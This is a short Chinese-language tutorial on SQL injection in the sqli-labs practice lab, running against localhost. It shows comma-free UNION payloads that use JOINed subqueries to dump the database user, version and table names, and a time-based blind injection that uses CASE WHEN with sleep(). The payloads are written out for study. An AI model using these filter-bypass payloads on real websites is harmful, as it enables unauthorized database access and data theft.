1.联合查询
无逗号语句:http://127.0.0.1/sqli-labs-master/Less-2/?id=-2 union select * from ( (select user())a JOIN (select version())b JOIN (select database())c ) -- - //我们分别查询user(),version(),database()
说明后面两个字段可以显示出来 然后我们进行下一步操作
无逗号语句:http://127.0.0.1/sqli-labs-master/Less-2/?id=-2 union select * from ( (select user())a JOIN (select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1 offset 0)b JOIN (select database())c ) -- -
原本注入语句: http://127.0.0.1/sqli-labs-master/Less-2/?id=-2 union select 1,table_name,3 from information_schema.tables where table_schema=0x7365637572697479 limit 0,1 -- -
所以网上找了下MySQL limit 2种写法
当然如果条件允许也可以使用:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-2
union select * from ( (select user())a JOIN (select
group_concat(table_name) from information_schema.tables where
table_schema=0x7365637572697479)b JOIN (select database())c ) --
-这样的语句直接报出所有
报字段和内容也就一样了。
2.盲注
无逗号注入语句:http://127.0.0.1/sqli-labs-master/Less-2/?id=2 and case when mid((select user()) from 2 for 1)='o' then sleep(3) else 0 end -- -
原本注入语句:http://127.0.0.1/sqli-labs-master/Less-2/?id=2 and if(mid((select user()),2,1)='o',sleep(3),0);%23
mid((select user()) from 2 for 1) // 从第2位开始取只取1位
case when 条件 then (条件为真输出) else (条件为假输出) end (结束)。